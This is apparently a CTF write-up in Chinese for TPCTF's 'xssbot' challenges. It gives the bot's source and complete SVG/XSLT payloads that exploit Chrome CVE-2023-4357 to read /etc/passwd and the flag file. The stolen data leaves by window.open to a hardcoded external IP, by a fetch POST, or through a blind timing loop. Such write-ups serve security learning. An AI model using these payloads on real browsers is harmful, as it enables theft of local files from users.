xssbot
题目描述:Can you read my flag without a website?
XSS bot is adapted from [Hackergame 2023](https://github.com/USTC-Hackergame/hackergame2023-writeups/blob/master/official/微积分计算小练习 2.0/src/bot/bot.py)
这题也可以看作是HackerGame的微积分+Google Chrome 任意文件读取(CVE-2023-4357)
【漏洞复现】CVE-2023-4357|Google Chrome 任意文件读取漏洞(影响微信/Chromium内核的浏览器)-腾讯云开发者社区-腾讯云 (tencent.com)
附件给了源码
from selenium import webdriver
import selenium
import time
import os
import subprocess
import urllib.parse
import random
import re
import atexit
# Stage 1
file_name = input("File name: ").strip()
assert re.match("[a-z]+\.[a-z]+", file_name) and len(file_name) < 10
print("Input your file:")
code = ""
while True:
line = input()
if line == "EOF":
break
code += line + "\n"
if len(code) > 1024 * 5:
print("The file can not be larger than 5KB")
exit(1)
try:
os.mkdir("/dev/shm/xss-data")
except Exception as e:
pass
user_id = os.urandom(8).hex()
try:
os.mkdir("/dev/shm/xss-data/" + user_id)
except Exception as e:
pass
try:
os.mkdir("/dev/shm/chromium-data")
except Exception as e:
pass
with open("/dev/shm/xss-data/" + user_id + "/" + file_name, "w") as f:
f.write(code)
port_id = str(random.randint(30000, 50000))
sp = subprocess.Popen(
["python3", "-m", "http.server", "-b", "127.0.0.1", port_id], cwd="/dev/shm/xss-data/" + user_id,
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
)
time.sleep(1)
if sp.poll() is not None:
print("Failed to start HTTP server, please try again in a moment")
exit(1)
def cleanup():
try:
os.rmdir("/dev/shm/xss-data/" + user_id)
except Exception as e:
pass
try:
sp.kill()
except Exception as e:
pass
atexit.register(cleanup)
# Stage 2
try:
options = webdriver.ChromeOptions()
options.add_argument("--no-sandbox") # sandbox not working in docker
options.add_argument("--headless")
options.add_argument("--disable-gpu")
options.add_argument("--user-data-dir=/dev/shm/user-data/" + user_id)
os.environ["TMPDIR"] = "/dev/shm/chromium-data/"
options.add_experimental_option("excludeSwitches", ["enable-logging"])
with webdriver.Chrome(options=options) as driver:
ua = driver.execute_script("return navigator.userAgent")
print(" I am using", ua)
driver.set_page_load_timeout(15)
print("- Now browsing your website...")
driver.get("http://localhost:" + port_id + "/" + file_name)
time.sleep(4)
print("Bye bye!")
except Exception as e:
print("ERROR", type(e))
print("I'll not give you exception message this time.")
传入文件名xxx.svg
文件内容:
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [ <!ENTITY passwd_p "file:///etc/passwd">
<!ENTITY passwd_c SYSTEM "file:///etc/passwd">
<!ENTITY sysini_p "file:///flag">
<!ENTITY sysini_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')" />
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&passwd_p;">&passwd_c;</p>
<p class="&sysini_p;">&sysini_c;</p>
</div>
<div style="width:40rem" id="r" />
<script>
let flag = ''
document.querySelectorAll('p').forEach(p => {
flag += p.innerHTML
});
window.open('http://120.46.41.173:9023/'+flag)
</script>
</body>
</xsl:template>
</xsl:stylesheet>
或者
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [ <!ENTITY passwd_p "file:///etc/passwd">
<!ENTITY passwd_c SYSTEM "file:///etc/passwd">
<!ENTITY sysini_p "file:///flag">
<!ENTITY sysini_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')" />
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&passwd_p;">&passwd_c;</p>
<p class="&sysini_p;">&sysini_c;</p>
</div>
<div style="width:40rem" id="r" />
<script>
let flag = ''
document.querySelectorAll('p').forEach(p => {
flag += p.innerHTML
});
console.log(flag);
fetch("ip/api",
{
"headers": {
"Content-Type": "application/x-www-form-urlencoded", },
"body": flag,
"method": "POST",
});
</script>
</body>
</xsl:template>
</xsl:stylesheet>
TPCTF{10ca1_file_re4d_via_CVE_1n_Libxs1t}
xssbot but no Internet
都和xssbot一样,唯一不同的是这题不出网。
顺便梳理一下题目流程:
1、题目读入文件名、问价内容
2、题目自己开启一个http服务,执行刚刚的文件(题目UA头是谷歌的)
3、文件中恶意代码利用了CVE-2023-4357,可以读取文件(flag、/etc/passwd)
4、文件中的恶意代码XSS带出数据。
5、服务端结束http服务,结束nc。
不出网最大的问题就是带出数据,这里的思想类似于盲注。
在上文第四步,我们通过比较flag字符串的某一个字符,相等则使文件执行死循环,由此来判断flag。
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [ <!ENTITY passwd_p "file:///etc/passwd">
<!ENTITY passwd_c SYSTEM "file:///etc/passwd">
<!ENTITY sysini_p "file:///flag">
<!ENTITY sysini_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')" />
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&sysini_p;">&sysini_c;</p>
</div>
<div style="width:40rem" id="r" />
<script>
let flag = ''
document.querySelectorAll('p').forEach(p => {
flag += p.innerHTML
});
if(flag[13]=='}'){
while(true){
console.log(1);
}
}
</script>
</body>
</xsl:template>
</xsl:stylesheet>
TPCTF{ea5y5C4}